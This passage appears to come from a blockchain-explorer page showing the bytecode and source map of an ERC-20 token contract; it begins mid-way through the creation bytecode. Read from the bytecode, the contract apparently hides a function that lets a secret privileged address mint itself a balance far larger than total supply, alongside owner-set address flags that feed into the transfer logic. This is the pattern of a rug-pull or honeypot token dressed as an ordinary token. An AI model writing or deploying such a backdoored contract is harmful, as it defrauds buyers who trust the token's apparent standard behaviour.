2602260045260246000fd5b60006002820490506001821680611f9957607f821691505b602082108103611fac57611fab611f52565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611fe8602083611b60565b9150611ff382611fb2565b602082019050919050565b6000602082019050818103600083015261201781611fdb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061205882611c6f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361208a57612089611ee1565b5b600182019050919050565b60006120a082611c6f565b91506120ab83611c6f565b92508282019050808211156120c3576120c2611ee1565b5b92915050565b60006120d482611c6f565b91506120df83611c6f565b92508282039050818111156120f7576120f6611ee1565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612159602583611b60565b9150612164826120fd565b604082019050919050565b600060208201905081810360008301526121888161214c565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006121eb602383611b60565b91506121f68261218f565b604082019050919050565b6000602082019050818103600083015261221a816121de565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061225f81611c43565b92915050565b60006020828403121561227b5761227a611c07565b5b600061228984828501612250565b91505092915050565b6000819050919050565b6000819050919050565b60006122c16122bc6122b784612292565b61229c565b611c6f565b9050919050565b6122d1816122a6565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61230c81611c31565b82525050565b600061231e8383612303565b60208301905092915050565b6000602082019050919050565b6000612342826122d7565b61234c81856122e2565b9350612357836122f3565b8060005b8381101561238857815161236f8882612312565b975061237a8361232a565b92505060018101905061235b565b5085935050505092915050565b600060a0820190506123aa6000830188611dcd565b6123b760208301876122c8565b81810360408301526123c98186612337565b90506123d86060830185611e77565b6123e56080830184611dcd565b9695505050505050565b60006040820190506124046000830185611e77565b6124116020830184611e77565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061245282611c6f565b915061245d83611c6f565b92508261246d5761246c612418565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006124d4602183611b60565b91506124df82612478565b604082019050919050565b60006020820190508181036000830152612503816124c7565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b6000612540601a83611b60565b915061254b8261250a565b602082019050919050565b6000602082019050818103600083015261256f81612533565b905091905056fea2646970667358221220ec9c603f2333cbc556d07b7b1b49d3cc2870f2b10d635d2540e9fc2dd9dc0cf564736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101215760003560e01c80633eaaf86b116100ad57806395d89b411161007157806395d89b41146102e85780639601f96c14610306578063a457c2d714610336578063a9059cbb14610366578063dd62ed3e1461039657610121565b80633eaaf86b1461025457806370a0823114610272578063715018a6146102a25780638da5cb5b146102ac57806393c20a20146102ca57610121565b806318160ddd116100f457806318160ddd1461019a57806323b872dd146101b8578063313ce567146101e857806332424aa314610206578063395093511461022457610121565b806306c9272a1461012657806306fdde0314610130578063095ea7b31461014e57806312d0ecb51461017e575b600080fd5b61012e6103c6565b005b610138610486565b6040516101459190611be5565b60405180910390f35b61016860048036038101906101639190611ca5565b610518565b6040516101759190611d00565b60405180910390f35b61019860048036038101906101939190611d80565b61052f565b005b6101a2610648565b6040516101af9190611ddc565b60405180910390f35b6101d260048036038101906101cd9190611df7565b610652565b6040516101df9190611d00565b60405180910390f35b6101f06106f3565b6040516101fd9190611ddc565b60405180910390f35b61020e6106fd565b60405161021b9190611ddc565b60405180910390f35b61023e60048036038101906102399190611ca5565b610703565b60405161024b9190611d00565b60405180910390f35b61025c6107a1565b6040516102699190611ddc565b60405180910390f35b61028c60048036038101906102879190611e4a565b6107a7565b6040516102999190611ddc565b60405180910390f35b6102aa6107f0565b005b6102b4610923565b6040516102c19190611e86565b60405180910390f35b6102d261094c565b6040516102df9190611e86565b60405180910390f35b6102f0610972565b6040516102fd9190611be5565b60405180910390f35b610320600480360381019061031b9190611ea1565b610a04565b60405161032d9190611d00565b60405180910390f35b610350600480360381019061034b9190611ca5565b610a63565b60405161035d9190611d00565b60405180910390f35b610380600480360381019061037b9190611ca5565b610b8a565b60405161038d9190611d00565b60405180910390f35b6103b060048036038101906103ab9190611ea1565b610ba1565b6040516103bd9190611ddc565b60405180910390f35b60006103d0610c28565b90508073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036104835769043c33c193756480000060065461043f9190611f10565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b6060600a805461049590611f81565b80601f01602080910402602001604051908101604052809291908181526020018280546104c190611f81565b801561050e5780601f106104e35761010080835404028352916020019161050e565b820191906000526020600020905b8154815290600101906020018083116104f157829003601f168201915b5050505050905090565b6000610525338484610c30565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661054e610923565b73ffffffffffffffffffffffffffffffffffffffff16146105a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059b90611ffe565b60405180910390fd5b60005b828290508110156106435760018060008585858181106105ca576105c961201e565b5b90506020020160208101906105df9190611e4a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061063b9061204d565b9150506105a7565b505050565b6000600654905090565b600061065f848484610df9565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106e857600080fd5b600190509392505050565b6000600554905090565b60055481565b6000610797338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107929190612095565b610c30565b6001905092915050565b60065481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661080f610923565b73ffffffffffffffffffffffffffffffffffffffff1614610865576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085c90611ffe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600b805461098190611f81565b80601f01602080910402602001604051908101604052809291908181526020018280546109ad90611f81565b80156109fa5780601f106109cf576101008083540402835291602001916109fa565b820191906000526020600020905b8154815290600101906020018083116109dd57829003601f168201915b5050505050905090565b60008273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a5857610a4282611155565b15610a5757610a5083611155565b9050610a5d565b5b600090505b92915050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610aee57600080fd5b610b80338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b7b91906120c9565b610c30565b6001905092915050565b6000610b97338484610df9565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c969061216f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0590612201565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dec9190611ddc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e3257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e6b57600080fd5b610e758383610a04565b15610e8957610e8481836111ab565b611150565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610ed557600080fd5b600080610ee185611475565b90508060036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000610f558686611653565b90508015610f8857610f856064610f776007548761180390919063ffffffff16565b61187d90919063ffffffff16565b92505b83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fd391906120c9565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828461102291906120c9565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110709190612095565b9250508190555060008311156110e757600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110de9190611ddc565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516111449190611ddc565b60405180910390a35050505b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6111d830600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610c30565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561123957611238612221565b5b6040519080825280602002602001820160405280156112675781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff021916908315150217905550308160008151811061129a5761129961201e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611341573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113659190612265565b816001815181106113795761137861201e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426114039190612095565b6040518663ffffffff1660e01b8152600401611423959493929190612395565b600060405180830381600087803b15801561143d57600080fd5b505af1158015611451573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115099190612265565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611592573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115b69190612265565b6040518363ffffffff1660e01b81526004016115d39291906123ef565b602060405180830381865afa1580156115f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116149190612265565b905061164b8382611646600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107a7565b6118db565b915050919050565b60006117fb8383600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116eb9190612265565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611774573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117989190612265565b6040518363ffffffff1660e01b81526004016117b59291906123ef565b602060405180830381865afa1580156117d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117f69190612265565b611939565b905092915050565b60008083036118155760009050611877565b600082846118239190611f10565b90508284826118329190612447565b14611872576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611869906124ea565b60405180910390fd5b809150505b92915050565b60008082116118c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b890612556565b60405180910390fd5b600082846118cf9190612447565b90508091505092915050565b60008082905060008473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161461191e5783915061192d565b808261192a9190611f10565b91505b81925050509392505050565b600080600260149054906101000a900460ff16905060006119ae600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166119a988611155565b611b3f565b90506000819050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a615750611a60600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1684611b3f565b5b8015611a9957508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b15611ae85785600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050611b32565b818015611af3575082155b15611b31578573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611b3057600190505b5b5b8093505050509392505050565b600082158015611b4d575081155b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b8f578082015181840152602081019050611b74565b60008484015250505050565b6000601f19601f8301169050919050565b6000611bb782611b55565b611bc18185611b60565b9350611bd1818560208601611b71565b611bda81611b9b565b840191505092915050565b60006020820190508181036000830152611bff8184611bac565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c3c82611c11565b9050919050565b611c4c81611c31565b8114611c5757600080fd5b50565b600081359050611c6981611c43565b92915050565b6000819050919050565b611c8281611c6f565b8114611c8d57600080fd5b50565b600081359050611c9f81611c79565b92915050565b60008060408385031215611cbc57611cbb611c07565b5b6000611cca85828601611c5a565b9250506020611cdb85828601611c90565b9150509250929050565b60008115159050919050565b611cfa81611ce5565b82525050565b6000602082019050611d156000830184611cf1565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611d4057611d3f611d1b565b5b8235905067ffffffffffffffff811115611d5d57611d5c611d20565b5b602083019150836020820283011115611d7957611d78611d25565b5b9250929050565b60008060208385031215611d9757611d96611c07565b5b600083013567ffffffffffffffff811115611db557611db4611c0c565b5b611dc185828601611d2a565b92509250509250929050565b611dd681611c6f565b82525050565b6000602082019050611df16000830184611dcd565b92915050565b600080600060608486031215611e1057611e0f611c07565b5b6000611e1e86828701611c5a565b9350506020611e2f86828701611c5a565b9250506040611e4086828701611c90565b9150509250925092565b600060208284031215611e6057611e5f611c07565b5b6000611e6e84828501611c5a565b91505092915050565b611e8081611c31565b82525050565b6000602082019050611e9b6000830184611e77565b92915050565b60008060408385031215611eb857611eb7611c07565b5b6000611ec685828601611c5a565b9250506020611ed785828601611c5a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611f1b82611c6f565b9150611f2683611c6f565b9250828202611f3481611c6f565b91508282048414831517611f4b57611f4a611ee1565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611f9957607f821691505b602082108103611fac57611fab611f52565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611fe8602083611b60565b9150611ff382611fb2565b602082019050919050565b6000602082019050818103600083015261201781611fdb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061205882611c6f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361208a57612089611ee1565b5b600182019050919050565b60006120a082611c6f565b91506120ab83611c6f565b92508282019050808211156120c3576120c2611ee1565b5b92915050565b60006120d482611c6f565b91506120df83611c6f565b92508282039050818111156120f7576120f6611ee1565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612159602583611b60565b9150612164826120fd565b604082019050919050565b600060208201905081810360008301526121888161214c565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006121eb602383611b60565b91506121f68261218f565b604082019050919050565b6000602082019050818103600083015261221a816121de565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061225f81611c43565b92915050565b60006020828403121561227b5761227a611c07565b5b600061228984828501612250565b91505092915050565b6000819050919050565b6000819050919050565b60006122c16122bc6122b784612292565b61229c565b611c6f565b9050919050565b6122d1816122a6565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61230c81611c31565b82525050565b600061231e8383612303565b60208301905092915050565b6000602082019050919050565b6000612342826122d7565b61234c81856122e2565b9350612357836122f3565b8060005b8381101561238857815161236f8882612312565b975061237a8361232a565b92505060018101905061235b565b5085935050505092915050565b600060a0820190506123aa6000830188611dcd565b6123b760208301876122c8565b81810360408301526123c98186612337565b90506123d86060830185611e77565b6123e56080830184611dcd565b9695505050505050565b60006040820190506124046000830185611e77565b6124116020830184611e77565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061245282611c6f565b915061245d83611c6f565b92508261246d5761246c612418565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006124d4602183611b60565b91506124df82612478565b604082019050919050565b60006020820190508181036000830152612503816124c7565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b6000612540601a83611b60565b915061254b8261250a565b602082019050919050565b6000602082019050818103600083015261256f81612533565b905091905056fea2646970667358221220ec9c603f2333cbc556d07b7b1b49d3cc2870f2b10d635d2540e9fc2dd9dc0cf564736f6c63430008120033

Deployed Bytecode Sourcemap

4202:5143:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8338:205;;;:::i;:::-;;6642:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7098:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3088:172;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6893:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9098:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6814:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4412:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4910:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4447:61;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6987:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2781:148;;;:::i;:::-;;2564:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4538:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6733:75;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3366:249;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5127:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8919:173;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4753:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8338:205;8377:17;8397:12;:10;:12::i;:::-;8377:32;;8437:9;8424:22;;:9;;;;;;;;;;;:22;;;8420:116;;8500:23;8485:12;;:38;;;;:::i;:::-;8462:9;:20;8472:9;8462:20;;;;;;;;;;;;;;;:61;;;;8420:116;8366:177;8338:205::o;6642:85::-;6681:13;6714:5;6707:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6642:85;:::o;7098:167::-;7181:4;7198:37;7207:10;7219:7;7228:6;7198:8;:37::i;:::-;7253:4;7246:11;;7098:167;;;;:::o;3088:172::-;2708:10;2697:21;;:7;:5;:7::i;:::-;:21;;;2689:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;3170:6:::1;3165:88;3186:5;;:12;;3182:1;:16;3165:88;;;3237:4;3220::::0;:14:::1;3225:5;;3231:1;3225:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3220:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;3200:3;;;;;:::i;:::-;;;;3165:88;;;;3088:172:::0;;:::o;6893:88::-;6948:7;6966:12;;6959:19;;6893:88;:::o;9098:244::-;9202:4;9219:34;9229:4;9235:9;9246:6;9219:9;:34::i;:::-;9305:6;9272:11;:17;9284:4;9272:17;;;;;;;;;;;;;;;:29;9290:10;9272:29;;;;;;;;;;;;;;;;:39;;9264:48;;;;;;9330:4;9323:11;;9098:244;;;;;:::o;6814:73::-;6857:7;6875:9;;6868:16;;6814:73;:::o;4412:28::-;;;;:::o;4910:211::-;4998:4;5015:76;5024:10;5036:7;5080:10;5045:11;:23;5057:10;5045:23;;;;;;;;;;;;;;;:32;5069:7;5045:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;5015:8;:76::i;:::-;5109:4;5102:11;;4910:211;;;;:::o;4447:61::-;;;;:::o;6987:105::-;7053:7;7071:9;:18;7081:7;7071:18;;;;;;;;;;;;;;;;7064:25;;6987:105;;;:::o;2781:148::-;2708:10;2697:21;;:7;:5;:7::i;:::-;:21;;;2689:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;2888:1:::1;2851:40;;2872:6;::::0;::::1;;;;;;;;2851:40;;;;;;;;;;;;2919:1;2902:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2781:148::o:0;2564:87::-;2610:7;2637:6;;;;;;;;;;;2630:13;;2564:87;:::o;4538:25::-;;;;;;;;;;;;;:::o;6733:75::-;6774:13;6798:7;6791:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6733:75;:::o;3366:249::-;3441:4;3474:6;3462:18;;:8;:18;;;3458:127;;3502:15;3508:8;3502:5;:15::i;:::-;3498:76;;;3545:13;3551:6;3545:5;:13::i;:::-;3538:20;;;;3498:76;3458:127;3602:5;3595:12;;3366:249;;;;;:::o;5127:253::-;5208:4;5266:6;5233:11;:23;5245:10;5233:23;;;;;;;;;;;;;;;:29;5257:4;5233:29;;;;;;;;;;;;;;;;:39;;5225:48;;;;;;5284:66;5293:10;5305:4;5343:6;5311:11;:23;5323:10;5311:23;;;;;;;;;;;;;;;:29;5335:4;5311:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;5284:8;:66::i;:::-;5368:4;5361:11;;5127:253;;;;:::o;8919:173::-;9005:4;9022:40;9032:10;9044:9;9055:6;9022:9;:40::i;:::-;9080:4;9073:11;;8919:173;;;;:::o;4753:151::-;4842:7;4869:11;:18;4881:5;4869:18;;;;;;;;;;;;;;;:27;4888:7;4869:27;;;;;;;;;;;;;;;;4862:34;;4753:151;;;;:::o;2083:98::-;2136:7;2163:10;2156:17;;2083:98;:::o;7271:346::-;7390:1;7373:19;;:5;:19;;;7365:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;7472:1;7453:21;;:7;:21;;;7445:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;7555:6;7525:11;:18;7537:5;7525:18;;;;;;;;;;;;;;;:27;7544:7;7525:27;;;;;;;;;;;;;;;:36;;;;7593:7;7577:32;;7586:5;7577:32;;;7602:6;7577:32;;;;;;:::i;:::-;;;;;;;;7271:346;;;:::o;5388:854::-;5501:1;5485:18;;:4;:18;;;5477:27;;;;;;5537:1;5523:16;;:2;:16;;;5515:25;;;;;;5555:20;5566:4;5572:2;5555:10;:20::i;:::-;5551:684;;;5592:16;5597:6;5605:2;5592:4;:16::i;:::-;5551:684;;;5659:9;:15;5669:4;5659:15;;;;;;;;;;;;;;;;5649:6;:25;;5641:34;;;;;;5690:11;5720:19;5742:22;5759:4;5742:16;:22::i;:::-;5720:44;;5806:11;5779:9;:24;5789:13;;;;;;;;;;;5779:24;;;;;;;;;;;;;;;:38;;;;5832:8;5843:23;5857:4;5863:2;5843:13;:23::i;:::-;5832:34;;5886:3;5881:98;;;5938:25;5959:3;5938:16;5949:4;;5938:6;:10;;:16;;;;:::i;:::-;:20;;:25;;;;:::i;:::-;5932:31;;5881:98;6029:6;6011:9;:15;6021:4;6011:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;5993:9;:15;6003:4;5993:15;;;;;;;;;;;;;;;:42;;;;6076:3;6067:6;:12;;;;:::i;:::-;6050:9;:13;6060:2;6050:13;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;6104:1;6098:3;:7;6094:84;;;6154:1;6131:31;;6140:4;6131:31;;;6158:3;6131:31;;;;;;:::i;:::-;;;;;;;;6094:84;6212:2;6197:26;;6206:4;6197:26;;;6216:6;6197:26;;;;;;:::i;:::-;;;;;;;;5626:609;;;5551:684;5388:854;;;:::o;3266:94::-;3318:4;3342;:10;3347:4;3342:10;;;;;;;;;;;;;;;;;;;;;;;;;3335:17;;3266:94;;;:::o;7623:449::-;7684:47;7701:4;7716:7;;;;;;;;;;;7726:4;7684:8;:47::i;:::-;7769:4;7742:9;:24;7760:4;7742:24;;;;;;;;;;;;;;;:31;;;;7784:21;7822:1;7808:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7784:40;;7851:4;7835:13;;:20;;;;;;;;;;;;;;;;;;7884:4;7866;7871:1;7866:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;7910:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7900:4;7905:1;7900:7;;;;;;;;:::i;:::-;;;;;;;:24;;;;;;;;;;;7935:7;;;;;;;;;;;:58;;;7994:4;7999:1;8001:4;8006;8029:2;8011:15;:20;;;;:::i;:::-;7935:97;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8059:5;8043:13;;:21;;;;;;;;;;;;;;;;;;7673:399;7623:449;;:::o;8078:254::-;8140:7;8160:10;8191:7;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8173:44;;;8226:4;8233:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8173:75;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;